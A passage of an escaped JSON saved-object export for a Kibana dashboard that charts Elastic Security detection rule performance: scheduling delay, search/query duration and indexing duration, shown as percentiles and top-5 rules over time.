\",\"axisMode\":\"left\",\"color\":\"#6092c0\"}]}],\"curveType\":\"CURVE_MONOTONE_X\",\"yTitle\":\"Schedule delay, ms\"},\"query\":{\"query\":\"\",\"language\":\"lucene\"},\"filters\":[{\"meta\":{\"type\":\"combined\",\"relation\":\"AND\",\"params\":[{\"meta\":{\"negate\":false,\"index\":\"kibana-event-log-data-view\",\"key\":\"event.provider\",\"field\":\"event.provider\",\"params\":{\"query\":\"alerting\"},\"type\":\"phrase\",\"disabled\":false,\"alias\":null},\"query\":{\"match_phrase\":{\"event.provider\":\"alerting\"}}},{\"meta\":{\"disabled\":false,\"negate\":false,\"alias\":null,\"index\":\"kibana-event-log-data-view\",\"key\":\"event.action\",\"field\":\"event.action\",\"params\":{\"query\":\"execute\"},\"type\":\"phrase\"},\"$state\":{\"store\":\"appState\"},\"query\":{\"match_phrase\":{\"event.action\":\"execute\"}}},{\"query\":{\"match_phrase\":{\"event.category\":\"siem\"}},\"meta\":{\"negate\":false,\"type\":\"phrase\",\"key\":\"event.category\",\"params\":{\"query\":\"siem\"},\"index\":\"kibana-event-log-data-view\",\"disabled\":false,\"alias\":null}}],\"index\":\"4101bdcb-5ba8-406f-8893-07356a98d49b\",\"disabled\":false,\"negate\":false,\"alias\":null},\"query\":{},\"$state\":{\"store\":\"appState\"}}],\"datasourceStates\":{\"formBased\":{\"layers\":{\"59ae5f24-20ed-4c11-bf5c-229d2dbb3cc8\":{\"columns\":{\"2e39ea80-4360-44ef-b24b-91adba3184f8\":{\"label\":\"@timestamp\",\"dataType\":\"date\",\"operationType\":\"date_histogram\",\"sourceField\":\"@timestamp\",\"isBucketed\":true,\"scale\":\"interval\",\"params\":{\"interval\":\"auto\",\"includeEmptyRows\":true}},\"44728b87-025d-4b13-b3b9-35bfd5cc7d26X0\":{\"label\":\"Part of 99th percentile\",\"dataType\":\"number\",\"operationType\":\"percentile\",\"sourceField\":\"kibana.task.schedule_delay\",\"isBucketed\":false,\"scale\":\"ratio\",\"params\":{\"percentile\":99},\"customLabel\":true},\"44728b87-025d-4b13-b3b9-35bfd5cc7d26X1\":{\"label\":\"Part of 99th percentile\",\"dataType\":\"number\",\"operationType\":\"math\",\"isBucketed\":false,\"scale\":\"ratio\",\"params\":{\"tinymathAst\":{\"type\":\"function\",\"name\":\"divide\",\"args\":[\"44728b87-025d-4b13-b3b9-35bfd5cc7d26X0\",1000000],\"location\":{\"min\":0,\"max\":63},\"text\":\"percentile(kibana.task.schedule_delay, percentile=99) / 1000000\"}},\"references\":[\"44728b87-025d-4b13-b3b9-35bfd5cc7d26X0\"],\"customLabel\":true},\"44728b87-025d-4b13-b3b9-35bfd5cc7d26\":{\"label\":\"99th percentile\",\"dataType\":\"number\",\"operationType\":\"formula\",\"isBucketed\":false,\"scale\":\"ratio\",\"params\":{\"formula\":\"percentile(kibana.task.schedule_delay, percentile=99) / 1000000\",\"isFormulaBroken\":false},\"references\":[\"44728b87-025d-4b13-b3b9-35bfd5cc7d26X1\"],\"customLabel\":true},\"f623346f-da47-4819-b485-d3527bd4506eX0\":{\"label\":\"Part of 95th percentile\",\"dataType\":\"number\",\"operationType\":\"percentile\",\"sourceField\":\"kibana.task.schedule_delay\",\"isBucketed\":false,\"scale\":\"ratio\",\"params\":{\"percentile\":95},\"customLabel\":true},\"f623346f-da47-4819-b485-d3527bd4506eX1\":{\"label\":\"Part of 95th percentile\",\"dataType\":\"number\",\"operationType\":\"math\",\"isBucketed\":false,\"scale\":\"ratio\",\"params\":{\"tinymathAst\":{\"type\":\"function\",\"name\":\"divide\",\"args\":[\"f623346f-da47-4819-b485-d3527bd4506eX0\",1000000],\"location\":{\"min\":0,\"max\":63},\"text\":\"percentile(kibana.task.schedule_delay, percentile=95) / 1000000\"}},\"references\":[\"f623346f-da47-4819-b485-d3527bd4506eX0\"],\"customLabel\":true},\"f623346f-da47-4819-b485-d3527bd4506e\":{\"label\":\"95th percentile\",\"dataType\":\"number\",\"operationType\":\"formula\",\"isBucketed\":false,\"scale\":\"ratio\",\"params\":{\"formula\":\"percentile(kibana.task.schedule_delay, percentile=95) / 1000000\",\"isFormulaBroken\":false},\"references\":[\"f623346f-da47-4819-b485-d3527bd4506eX1\"],\"customLabel\":true},\"861f06ed-3ef1-4e60-93fe-ddf176e5aa9eX0\":{\"label\":\"Part of 50th percentile\",\"dataType\":\"number\",\"operationType\":\"percentile\",\"sourceField\":\"kibana.task.schedule_delay\",\"isBucketed\":false,\"scale\":\"ratio\",\"params\":{\"percentile\":50},\"customLabel\":true},\"861f06ed-3ef1-4e60-93fe-ddf176e5aa9eX1\":{\"label\":\"Part of 50th percentile\",\"dataType\":\"number\",\"operationType\":\"math\",\"isBucketed\":false,\"scale\":\"ratio\",\"params\":{\"tinymathAst\":{\"type\":\"function\",\"name\":\"divide\",\"args\":[\"861f06ed-3ef1-4e60-93fe-ddf176e5aa9eX0\",1000000],\"location\":{\"min\":0,\"max\":63},\"text\":\"percentile(kibana.task.schedule_delay, percentile=50) / 1000000\"}},\"references\":[\"861f06ed-3ef1-4e60-93fe-ddf176e5aa9eX0\"],\"customLabel\":true},\"861f06ed-3ef1-4e60-93fe-ddf176e5aa9e\":{\"label\":\"50th percentile\",\"dataType\":\"number\",\"operationType\":\"formula\",\"isBucketed\":false,\"scale\":\"ratio\",\"params\":{\"formula\":\"percentile(kibana.task.schedule_delay, percentile=50) / 1000000\",\"isFormulaBroken\":false},\"references\":[\"861f06ed-3ef1-4e60-93fe-ddf176e5aa9eX1\"],\"customLabel\":true}},\"columnOrder\":[\"2e39ea80-4360-44ef-b24b-91adba3184f8\",\"44728b87-025d-4b13-b3b9-35bfd5cc7d26\",\"f623346f-da47-4819-b485-d3527bd4506e\",\"861f06ed-3ef1-4e60-93fe-ddf176e5aa9e\",\"44728b87-025d-4b13-b3b9-35bfd5cc7d26X0\",\"44728b87-025d-4b13-b3b9-35bfd5cc7d26X1\",\"f623346f-da47-4819-b485-d3527bd4506eX0\",\"f623346f-da47-4819-b485-d3527bd4506eX1\",\"861f06ed-3ef1-4e60-93fe-ddf176e5aa9eX0\",\"861f06ed-3ef1-4e60-93fe-ddf176e5aa9eX1\"],\"incompleteColumns\":{}}}}},\"internalReferences\":[],\"adHocDataViews\":{}}}},\"panelIndex\":\"d2e87680-4d92-4067-9f27-7749854dedce\",\"gridData\":{\"i\":\"d2e87680-4d92-4067-9f27-7749854dedce\",\"y\":61,\"x\":0,\"w\":21,\"h\":15}},{\"type\":\"lens\",\"title\":\"Rule scheduling delay, top 5 rules per @timestamp\",\"embeddableConfig\":{\"enhancements\":{\"dynamicActions\":{\"events\":[]}},\"hidePanelTitles\":false,\"syncColors\":false,\"syncCursor\":true,\"syncTooltips\":false,\"filters\":[{\"meta\":{\"type\":\"combined\",\"relation\":\"AND\",\"params\":[{\"meta\":{\"negate\":false,\"index\":\"kibana-event-log-data-view\",\"key\":\"event.provider\",\"field\":\"event.provider\",\"params\":{\"query\":\"alerting\"},\"type\":\"phrase\",\"disabled\":false,\"alias\":null},\"query\":{\"match_phrase\":{\"event.provider\":\"alerting\"}}},{\"query\":{\"match_phrase\":{\"event.action\":\"execute\"}},\"meta\":{\"negate\":false,\"type\":\"phrase\",\"key\":\"event.action\",\"params\":{\"query\":\"execute\"},\"index\":\"kibana-event-log-data-view\",\"disabled\":false,\"alias\":null}},{\"meta\":{\"disabled\":false,\"negate\":false,\"alias\":null,\"index\":\"kibana-event-log-data-view\",\"key\":\"event.category\",\"field\":\"event.category\",\"params\":{\"query\":\"siem\"},\"type\":\"phrase\"},\"$state\":{\"store\":\"appState\"},\"query\":{\"match_phrase\":{\"event.category\":\"siem\"}}}],\"index\":\"kibana-event-log-data-view\",\"disabled\":false,\"negate\":false,\"alias\":null},\"query\":{},\"$state\":{\"store\":\"appState\"}}],\"query\":{\"query\":\"\",\"language\":\"lucene\"},\"attributes\":{\"title\":\"\",\"description\":\"\",\"visualizationType\":\"lnsXY\",\"type\":\"lens\",\"references\":[{\"id\":\"kibana-event-log-data-view\",\"name\":\"indexpattern-datasource-layer-59ae5f24-20ed-4c11-bf5c-229d2dbb3cc8\",\"type\":\"index-pattern\"},{\"id\":\"kibana-event-log-data-view\",\"name\":\"adafccc0-9c17-4249-89e1-e61a8d00079b\",\"type\":\"index-pattern\"}],\"state\":{\"visualization\":{\"legend\":{\"isVisible\":true,\"position\":\"right\",\"legendSize\":\"auto\"},\"valueLabels\":\"hide\",\"fittingFunction\":\"None\",\"yLeftExtent\":{\"mode\":\"full\"},\"yRightExtent\":{\"mode\":\"full\"},\"axisTitlesVisibilitySettings\":{\"x\":true,\"yLeft\":true,\"yRight\":true},\"tickLabelsVisibilitySettings\":{\"x\":true,\"yLeft\":true,\"yRight\":true},\"labelsOrientation\":{\"x\":0,\"yLeft\":0,\"yRight\":0},\"gridlinesVisibilitySettings\":{\"x\":true,\"yLeft\":true,\"yRight\":true},\"preferredSeriesType\":\"line\",\"layers\":[{\"layerId\":\"59ae5f24-20ed-4c11-bf5c-229d2dbb3cc8\",\"accessors\":[\"707ff766-8ef2-47ca-9559-d7ace1bc0a4b\"],\"position\":\"top\",\"seriesType\":\"line\",\"showGridlines\":false,\"layerType\":\"data\",\"palette\":{\"type\":\"palette\",\"name\":\"default\"},\"xAccessor\":\"2e39ea80-4360-44ef-b24b-91adba3184f8\",\"splitAccessor\":\"3a521678-3e76-49b6-a379-eb75ef03604b\"}],\"yTitle\":\"Rule schedule delay, ms\"},\"query\":{\"query\":\"\",\"language\":\"lucene\"},\"filters\":[{\"meta\":{\"type\":\"combined\",\"relation\":\"AND\",\"params\":[{\"meta\":{\"negate\":false,\"index\":\"kibana-event-log-data-view\",\"key\":\"event.provider\",\"field\":\"event.provider\",\"params\":{\"query\":\"alerting\"},\"type\":\"phrase\",\"disabled\":false,\"alias\":null},\"query\":{\"match_phrase\":{\"event.provider\":\"alerting\"}}},{\"query\":{\"match_phrase\":{\"event.action\":\"execute\"}},\"meta\":{\"negate\":false,\"type\":\"phrase\",\"key\":\"event.action\",\"params\":{\"query\":\"execute\"},\"index\":\"kibana-event-log-data-view\",\"disabled\":false,\"alias\":null}},{\"meta\":{\"disabled\":false,\"negate\":false,\"alias\":null,\"index\":\"kibana-event-log-data-view\",\"key\":\"event.category\",\"field\":\"event.category\",\"params\":{\"query\":\"siem\"},\"type\":\"phrase\"},\"$state\":{\"store\":\"appState\"},\"query\":{\"match_phrase\":{\"event.category\":\"siem\"}}}],\"index\":\"adafccc0-9c17-4249-89e1-e61a8d00079b\",\"disabled\":false,\"negate\":false,\"alias\":null},\"query\":{},\"$state\":{\"store\":\"appState\"}}],\"datasourceStates\":{\"formBased\":{\"layers\":{\"59ae5f24-20ed-4c11-bf5c-229d2dbb3cc8\":{\"columns\":{\"2e39ea80-4360-44ef-b24b-91adba3184f8\":{\"label\":\"@timestamp\",\"dataType\":\"date\",\"operationType\":\"date_histogram\",\"sourceField\":\"@timestamp\",\"isBucketed\":true,\"scale\":\"interval\",\"params\":{\"interval\":\"auto\",\"includeEmptyRows\":true}},\"3a521678-3e76-49b6-a379-eb75ef03604b\":{\"label\":\"Top 5 values of rule.name\",\"dataType\":\"string\",\"operationType\":\"terms\",\"scale\":\"ordinal\",\"sourceField\":\"rule.name\",\"isBucketed\":true,\"params\":{\"size\":5,\"orderBy\":{\"type\":\"custom\"},\"orderDirection\":\"desc\",\"otherBucket\":false,\"missingBucket\":false,\"secondaryFields\":[],\"parentFormat\":{\"id\":\"terms\"},\"orderAgg\":{\"label\":\"Maximum of kibana.task.schedule_delay\",\"dataType\":\"number\",\"operationType\":\"max\",\"sourceField\":\"kibana.task.schedule_delay\",\"isBucketed\":false,\"scale\":\"ratio\",\"params\":{\"emptyAsNull\":true}}}},\"707ff766-8ef2-47ca-9559-d7ace1bc0a4bX0\":{\"label\":\"Part of Rule schedule delay\",\"dataType\":\"number\",\"operationType\":\"max\",\"sourceField\":\"kibana.task.schedule_delay\",\"isBucketed\":false,\"scale\":\"ratio\",\"params\":{\"emptyAsNull\":false},\"customLabel\":true},\"707ff766-8ef2-47ca-9559-d7ace1bc0a4bX1\":{\"label\":\"Part of Rule schedule delay\",\"dataType\":\"number\",\"operationType\":\"math\",\"isBucketed\":false,\"scale\":\"ratio\",\"params\":{\"tinymathAst\":{\"type\":\"function\",\"name\":\"divide\",\"args\":[\"707ff766-8ef2-47ca-9559-d7ace1bc0a4bX0\",1000000],\"location\":{\"min\":0,\"max\":41},\"text\":\"max(kibana.task.schedule_delay) / 1000000\"}},\"references\":[\"707ff766-8ef2-47ca-9559-d7ace1bc0a4bX0\"],\"customLabel\":true},\"707ff766-8ef2-47ca-9559-d7ace1bc0a4b\":{\"label\":\"Rule schedule delay\",\"dataType\":\"number\",\"operationType\":\"formula\",\"isBucketed\":false,\"scale\":\"ratio\",\"params\":{\"formula\":\"max(kibana.task.schedule_delay) / 1000000\",\"isFormulaBroken\":false},\"references\":[\"707ff766-8ef2-47ca-9559-d7ace1bc0a4bX1\"],\"customLabel\":true}},\"columnOrder\":[\"2e39ea80-4360-44ef-b24b-91adba3184f8\",\"3a521678-3e76-49b6-a379-eb75ef03604b\",\"707ff766-8ef2-47ca-9559-d7ace1bc0a4b\",\"707ff766-8ef2-47ca-9559-d7ace1bc0a4bX0\",\"707ff766-8ef2-47ca-9559-d7ace1bc0a4bX1\"],\"incompleteColumns\":{}}}}},\"internalReferences\":[],\"adHocDataViews\":{}}}},\"panelIndex\":\"2372c630-207e-4859-83a9-de5a7bc638dc\",\"gridData\":{\"i\":\"2372c630-207e-4859-83a9-de5a7bc638dc\",\"y\":61,\"x\":21,\"w\":27,\"h\":15}},{\"type\":\"visualization\",\"title\":\"\",\"embeddableConfig\":{\"enhancements\":{\"dynamicActions\":{\"events\":[]}},\"savedVis\":{\"title\":\"\",\"description\":\"\",\"type\":\"markdown\",\"params\":{\"fontSize\":12,\"openLinksInNewTab\":false,\"markdown\":\"**Search/query duration** metric shows how much time it took for a rule when it was executing to query source indices (or data views) to find source events matching the rule's criteria.\"},\"uiState\":{},\"data\":{\"aggs\":[],\"searchSource\":{\"query\":{\"query\":\"\",\"language\":\"kuery\"},\"filter\":[]}}}},\"panelIndex\":\"054eb35b-90a8-4b45-9821-7c0eefb22a85\",\"gridData\":{\"i\":\"054eb35b-90a8-4b45-9821-7c0eefb22a85\",\"y\":76,\"x\":0,\"w\":48,\"h\":4}},{\"type\":\"lens\",\"title\":\"Search/query duration, percentiles\",\"embeddableConfig\":{\"enhancements\":{\"dynamicActions\":{\"events\":[]}},\"hidePanelTitles\":false,\"description\":\"This chart aggregates this metric across all rules and shows how a few important percentiles of the metric were changing over time. 99th percentile means that 99% of rule executions had a search/query duration less than the percentile's value.\",\"syncColors\":false,\"syncCursor\":true,\"syncTooltips\":false,\"filters\":[{\"meta\":{\"type\":\"combined\",\"relation\":\"AND\",\"params\":[{\"meta\":{\"negate\":false,\"index\":\"kibana-event-log-data-view\",\"key\":\"event.provider\",\"field\":\"event.provider\",\"params\":{\"query\":\"securitySolution.ruleExecution\"},\"type\":\"phrase\",\"disabled\":false,\"alias\":null},\"query\":{\"match_phrase\":{\"event.provider\":\"securitySolution.ruleExecution\"}}},{\"meta\":{\"disabled\":false,\"negate\":false,\"alias\":null,\"index\":\"kibana-event-log-data-view\",\"key\":\"event.action\",\"field\":\"event.action\",\"params\":{\"query\":\"execution-metrics\"},\"type\":\"phrase\"},\"$state\":{\"store\":\"appState\"},\"query\":{\"match_phrase\":{\"event.action\":\"execution-metrics\"}}}],\"index\":\"kibana-event-log-data-view\",\"disabled\":false,\"negate\":false,\"alias\":null},\"query\":{},\"$state\":{\"store\":\"appState\"}}],\"query\":{\"query\":\"\",\"language\":\"lucene\"},\"attributes\":{\"title\":\"\",\"description\":\"\",\"visualizationType\":\"lnsXY\",\"type\":\"lens\",\"references\":[{\"id\":\"kibana-event-log-data-view\",\"name\":\"indexpattern-datasource-layer-59ae5f24-20ed-4c11-bf5c-229d2dbb3cc8\",\"type\":\"index-pattern\"},{\"id\":\"kibana-event-log-data-view\",\"name\":\"edb4ad7f-1ef2-477f-980c-c6fe47d6470d\",\"type\":\"index-pattern\"}],\"state\":{\"visualization\":{\"legend\":{\"isVisible\":true,\"position\":\"right\",\"legendSize\":\"auto\",\"maxLines\":1},\"valueLabels\":\"hide\",\"fittingFunction\":\"None\",\"yLeftExtent\":{\"mode\":\"full\"},\"yRightExtent\":{\"mode\":\"full\"},\"axisTitlesVisibilitySettings\":{\"x\":true,\"yLeft\":true,\"yRight\":true},\"tickLabelsVisibilitySettings\":{\"x\":true,\"yLeft\":true,\"yRight\":true},\"labelsOrientation\":{\"x\":0,\"yLeft\":0,\"yRight\":0},\"gridlinesVisibilitySettings\":{\"x\":true,\"yLeft\":true,\"yRight\":true},\"preferredSeriesType\":\"line\",\"layers\":[{\"layerId\":\"59ae5f24-20ed-4c11-bf5c-229d2dbb3cc8\",\"accessors\":[\"44728b87-025d-4b13-b3b9-35bfd5cc7d26\",\"f623346f-da47-4819-b485-d3527bd4506e\",\"861f06ed-3ef1-4e60-93fe-ddf176e5aa9e\"],\"position\":\"top\",\"seriesType\":\"line\",\"showGridlines\":false,\"layerType\":\"data\",\"xAccessor\":\"2e39ea80-4360-44ef-b24b-91adba3184f8\",\"yConfig\":[{\"forAccessor\":\"44728b87-025d-4b13-b3b9-35bfd5cc7d26\",\"color\":\"#d36086\",\"axisMode\":\"left\"},{\"forAccessor\":\"f623346f-da47-4819-b485-d3527bd4506e\",\"axisMode\":\"left\",\"color\":\"#9170b8\"},{\"forAccessor\":\"861f06ed-3ef1-4e60-93fe-ddf176e5aa9e\",\"axisMode\":\"left\",\"color\":\"#6092c0\"}]}],\"curveType\":\"CURVE_MONOTONE_X\",\"yTitle\":\"Search duration, ms\"},\"query\":{\"query\":\"\",\"language\":\"lucene\"},\"filters\":[{\"meta\":{\"type\":\"combined\",\"relation\":\"AND\",\"params\":[{\"meta\":{\"negate\":false,\"index\":\"kibana-event-log-data-view\",\"key\":\"event.provider\",\"field\":\"event.provider\",\"params\":{\"query\":\"securitySolution.ruleExecution\"},\"type\":\"phrase\",\"disabled\":false,\"alias\":null},\"query\":{\"match_phrase\":{\"event.provider\":\"securitySolution.ruleExecution\"}}},{\"meta\":{\"disabled\":false,\"negate\":false,\"alias\":null,\"index\":\"kibana-event-log-data-view\",\"key\":\"event.action\",\"field\":\"event.action\",\"params\":{\"query\":\"execution-metrics\"},\"type\":\"phrase\"},\"$state\":{\"store\":\"appState\"},\"query\":{\"match_phrase\":{\"event.action\":\"execution-metrics\"}}}],\"index\":\"edb4ad7f-1ef2-477f-980c-c6fe47d6470d\",\"disabled\":false,\"negate\":false,\"alias\":null},\"query\":{},\"$state\":{\"store\":\"appState\"}}],\"datasourceStates\":{\"formBased\":{\"layers\":{\"59ae5f24-20ed-4c11-bf5c-229d2dbb3cc8\":{\"columns\":{\"2e39ea80-4360-44ef-b24b-91adba3184f8\":{\"label\":\"@timestamp\",\"dataType\":\"date\",\"operationType\":\"date_histogram\",\"sourceField\":\"@timestamp\",\"isBucketed\":true,\"scale\":\"interval\",\"params\":{\"interval\":\"auto\",\"includeEmptyRows\":true}},\"44728b87-025d-4b13-b3b9-35bfd5cc7d26\":{\"label\":\"99th percentile\",\"dataType\":\"number\",\"operationType\":\"percentile\",\"sourceField\":\"kibana.alert.rule.execution.metrics.total_search_duration_ms\",\"isBucketed\":false,\"scale\":\"ratio\",\"params\":{\"percentile\":99},\"customLabel\":true},\"f623346f-da47-4819-b485-d3527bd4506e\":{\"label\":\"95th percentile\",\"dataType\":\"number\",\"operationType\":\"percentile\",\"sourceField\":\"kibana.alert.rule.execution.metrics.total_search_duration_ms\",\"isBucketed\":false,\"scale\":\"ratio\",\"params\":{\"percentile\":95},\"customLabel\":true},\"861f06ed-3ef1-4e60-93fe-ddf176e5aa9e\":{\"label\":\"50th percentile\",\"dataType\":\"number\",\"operationType\":\"percentile\",\"sourceField\":\"kibana.alert.rule.execution.metrics.total_search_duration_ms\",\"isBucketed\":false,\"scale\":\"ratio\",\"filter\":{\"query\":\"kibana.alert.rule.execution.metrics.total_run_duration_ms: *\",\"language\":\"kuery\"},\"params\":{\"percentile\":50},\"customLabel\":true}},\"columnOrder\":[\"2e39ea80-4360-44ef-b24b-91adba3184f8\",\"44728b87-025d-4b13-b3b9-35bfd5cc7d26\",\"f623346f-da47-4819-b485-d3527bd4506e\",\"861f06ed-3ef1-4e60-93fe-ddf176e5aa9e\"],\"incompleteColumns\":{}}}}},\"internalReferences\":[],\"adHocDataViews\":{}}}},\"panelIndex\":\"e2504c27-3027-4c13-85c0-a66416c53bd4\",\"gridData\":{\"i\":\"e2504c27-3027-4c13-85c0-a66416c53bd4\",\"y\":80,\"x\":0,\"w\":21,\"h\":15}},{\"type\":\"lens\",\"title\":\"Search/query duration, top 5 rules per @timestamp\",\"embeddableConfig\":{\"enhancements\":{\"dynamicActions\":{\"events\":[]}},\"hidePanelTitles\":false,\"syncColors\":false,\"syncCursor\":true,\"syncTooltips\":false,\"filters\":[{\"meta\":{\"type\":\"combined\",\"relation\":\"AND\",\"params\":[{\"meta\":{\"negate\":false,\"index\":\"kibana-event-log-data-view\",\"key\":\"event.provider\",\"field\":\"event.provider\",\"params\":{\"query\":\"securitySolution.ruleExecution\"},\"type\":\"phrase\",\"disabled\":false,\"alias\":null},\"query\":{\"match_phrase\":{\"event.provider\":\"securitySolution.ruleExecution\"}}},{\"query\":{\"match_phrase\":{\"event.action\":\"execution-metrics\"}},\"meta\":{\"negate\":false,\"type\":\"phrase\",\"key\":\"event.action\",\"params\":{\"query\":\"execution-metrics\"},\"index\":\"kibana-event-log-data-view\",\"disabled\":false,\"alias\":null}}],\"index\":\"kibana-event-log-data-view\",\"disabled\":false,\"negate\":false,\"alias\":null},\"query\":{},\"$state\":{\"store\":\"appState\"}}],\"query\":{\"query\":\"\",\"language\":\"lucene\"},\"attributes\":{\"title\":\"\",\"description\":\"\",\"visualizationType\":\"lnsXY\",\"type\":\"lens\",\"references\":[{\"id\":\"kibana-event-log-data-view\",\"name\":\"indexpattern-datasource-layer-59ae5f24-20ed-4c11-bf5c-229d2dbb3cc8\",\"type\":\"index-pattern\"},{\"id\":\"kibana-event-log-data-view\",\"name\":\"505272a2-f4fb-4778-9fdf-11415f36cc51\",\"type\":\"index-pattern\"}],\"state\":{\"visualization\":{\"legend\":{\"isVisible\":true,\"position\":\"right\",\"legendSize\":\"auto\"},\"valueLabels\":\"hide\",\"fittingFunction\":\"None\",\"yLeftExtent\":{\"mode\":\"full\"},\"yRightExtent\":{\"mode\":\"full\"},\"axisTitlesVisibilitySettings\":{\"x\":true,\"yLeft\":true,\"yRight\":true},\"tickLabelsVisibilitySettings\":{\"x\":true,\"yLeft\":true,\"yRight\":true},\"labelsOrientation\":{\"x\":0,\"yLeft\":0,\"yRight\":0},\"gridlinesVisibilitySettings\":{\"x\":true,\"yLeft\":true,\"yRight\":true},\"preferredSeriesType\":\"line\",\"layers\":[{\"layerId\":\"59ae5f24-20ed-4c11-bf5c-229d2dbb3cc8\",\"accessors\":[\"707ff766-8ef2-47ca-9559-d7ace1bc0a4b\"],\"position\":\"top\",\"seriesType\":\"line\",\"showGridlines\":false,\"layerType\":\"data\",\"palette\":{\"type\":\"palette\",\"name\":\"default\"},\"xAccessor\":\"2e39ea80-4360-44ef-b24b-91adba3184f8\",\"splitAccessor\":\"3a521678-3e76-49b6-a379-eb75ef03604b\"}],\"yTitle\":\"Search duration, ms\"},\"query\":{\"query\":\"\",\"language\":\"lucene\"},\"filters\":[{\"meta\":{\"type\":\"combined\",\"relation\":\"AND\",\"params\":[{\"meta\":{\"negate\":false,\"index\":\"kibana-event-log-data-view\",\"key\":\"event.provider\",\"field\":\"event.provider\",\"params\":{\"query\":\"securitySolution.ruleExecution\"},\"type\":\"phrase\",\"disabled\":false,\"alias\":null},\"query\":{\"match_phrase\":{\"event.provider\":\"securitySolution.ruleExecution\"}}},{\"query\":{\"match_phrase\":{\"event.action\":\"execution-metrics\"}},\"meta\":{\"negate\":false,\"type\":\"phrase\",\"key\":\"event.action\",\"params\":{\"query\":\"execution-metrics\"},\"index\":\"kibana-event-log-data-view\",\"disabled\":false,\"alias\":null}}],\"index\":\"505272a2-f4fb-4778-9fdf-11415f36cc51\",\"disabled\":false,\"negate\":false,\"alias\":null},\"query\":{},\"$state\":{\"store\":\"appState\"}}],\"datasourceStates\":{\"formBased\":{\"layers\":{\"59ae5f24-20ed-4c11-bf5c-229d2dbb3cc8\":{\"columns\":{\"2e39ea80-4360-44ef-b24b-91adba3184f8\":{\"label\":\"@timestamp\",\"dataType\":\"date\",\"operationType\":\"date_histogram\",\"sourceField\":\"@timestamp\",\"isBucketed\":true,\"scale\":\"interval\",\"params\":{\"interval\":\"auto\",\"includeEmptyRows\":true}},\"3a521678-3e76-49b6-a379-eb75ef03604b\":{\"label\":\"Top 5 values of rule.name\",\"dataType\":\"string\",\"operationType\":\"terms\",\"scale\":\"ordinal\",\"sourceField\":\"rule.name\",\"isBucketed\":true,\"params\":{\"size\":5,\"orderBy\":{\"type\":\"column\",\"columnId\":\"707ff766-8ef2-47ca-9559-d7ace1bc0a4b\"},\"orderDirection\":\"desc\",\"otherBucket\":false,\"missingBucket\":false,\"secondaryFields\":[],\"parentFormat\":{\"id\":\"terms\"}}},\"707ff766-8ef2-47ca-9559-d7ace1bc0a4b\":{\"label\":\"Search duration\",\"dataType\":\"number\",\"operationType\":\"max\",\"sourceField\":\"kibana.alert.rule.execution.metrics.total_search_duration_ms\",\"isBucketed\":false,\"scale\":\"ratio\",\"params\":{\"emptyAsNull\":true},\"customLabel\":true}},\"columnOrder\":[\"2e39ea80-4360-44ef-b24b-91adba3184f8\",\"3a521678-3e76-49b6-a379-eb75ef03604b\",\"707ff766-8ef2-47ca-9559-d7ace1bc0a4b\"],\"incompleteColumns\":{}}}}},\"internalReferences\":[],\"adHocDataViews\":{}}}},\"panelIndex\":\"fe382f90-aa03-47e0-a8a0-d6a8de877467\",\"gridData\":{\"i\":\"fe382f90-aa03-47e0-a8a0-d6a8de877467\",\"y\":80,\"x\":21,\"w\":27,\"h\":15}},{\"type\":\"visualization\",\"title\":\"\",\"embeddableConfig\":{\"enhancements\":{\"dynamicActions\":{\"events\":[]}},\"savedVis\":{\"title\":\"\",\"description\":\"\",\"type\":\"markdown\",\"params\":{\"fontSize\":12,\"openLinksInNewTab\":false,\"markdown\":\"**Indexing duration** metric shows how much time it took for a rule when it was executing to write generated alerts to the `.alerts-security.alerts-*` index.\"},\"uiState\":{},\"data\":{\"aggs\":[],\"searchSource\":{\"query\":{\"query\":\"\",\"language\":\"kuery\"},\"filter\":[]}}}},\"panelIndex\":\"267d2068-2d64-4e8e-bccb-efc580f90762\",\"gridData\":{\"i\":\"267d2068-2d64-4e8e-bccb-efc580f90762\",\"y\":95,\"x\":0,\"w\":48,\"h\":4}},{\"type\":\"lens\",\"title\":\"Indexing duration, percentiles\",\"embeddableConfig\":{\"enhancements\":{\"dynamicActions\":{\"events\":[]}},\"hidePanelTitles\":false,\"description\":\"This chart aggregates this metric across all rules and shows how a few important percentiles of the metric were changing over time. 99th percentile means that 99% of rule executions had an indexing duration less than the percentile's value.\",\"syncColors\":false,\"syncCursor\":true,\"syncTooltips\":false,\"filters\":[{\"meta\":{\"type\":\"combined\",\"relation\":\"AND\",\"params\":[{\"meta\":{\"negate\":false,\"index\":\"kibana-event-log-data-view\",\"key\":\"event.provider\",\"field\":\"event.provider\",\"params\":{\"query\":\"securitySolution.ruleExecution\"},\"type\":\"phrase\",\"disabled\":false,\"alias\":null},\"query\":{\"match_phrase\":{\"event.provider\":\"securitySolution.ruleExecution\"}}},{\"meta\":{\"disabled\":false,\"negate\":false,\"alias\":null,\"index\":\"kibana-event-log-data-view\",\"key\":\"event.action\",\"field\":\"event.action\",\"params\":{\"query\":\"execution-metrics\"},\"type\":\"phrase\"},\"$state\":{\"store\":\"appState\"},\"query\":{\"match_phrase\":{\"event.action\":\"execution-metrics\"}}}],\"index\":\"kibana-event-log-data-view\",\"disabled\":false,\"negate\":false,\"alias\":null},\"query\":{},\"$state\":{\"store\":\"appState\"}}],\"query\":{\"query\":\"\",\"language\":\"lucene\"},\"attributes\":{\"title\":\"\",\"description\":\"\",\"visualizationType\":\"lnsXY\",\"type\":\"lens\",\"references\":[{\"id\":\"kibana-event-log-data-view\",\"name\":\"indexpattern-datasource-layer-59ae5f24-20ed-4c11-bf5c-229d2dbb3cc8\",\"type\":\"index-pattern\"},{\"id\":\"kibana-event-log-data-view\",\"name\":\"e0a238a9-104e-46c0-890a-c7b3e1c08018\",\"type\":\"index-pattern\"}],\"state\":{\"visualization\":{\"legend\":{\"isVisible\":true,\"position\":\"right\",\"legendSize\":\"auto\",\"maxLines\":1},\"valueLabels\":\"hide\",\"fittingFunction\":\"None\",\"yLeftExtent\":{\"mode\":\"full\"},\"yRightExtent\":{\"mode\":\"full\"},\"axisTitlesVisibilitySettings\":{\"x\":true,\"yLeft\":true,\"yRight\":true},\"tickLabelsVisibilitySettings\":{\"x\":true,\"yLeft\":true,\"yRight\":true},\"labelsOrientation\":{\"x\":0,\"yLeft\":0,\"yRight\":0},\"gridlinesVisibilitySettings\":{\"x\":true,\"yLeft\":true,\"yRight\":true},\"preferredSeriesType\":\"line\",\"layers\":[{\"layerId\":\"59ae5f24-20ed-4c11-bf5c-229d2dbb3cc8\",\"accessors\":[\"44728b87-025d-4b13-b3b9-35bfd5cc7d26\",\"f623346f-da47-4819-b485-d3527bd4506e\",\"861f06ed-3ef1-4e60-93fe-ddf176e5aa9e\"],\"position\":\"top\",\"series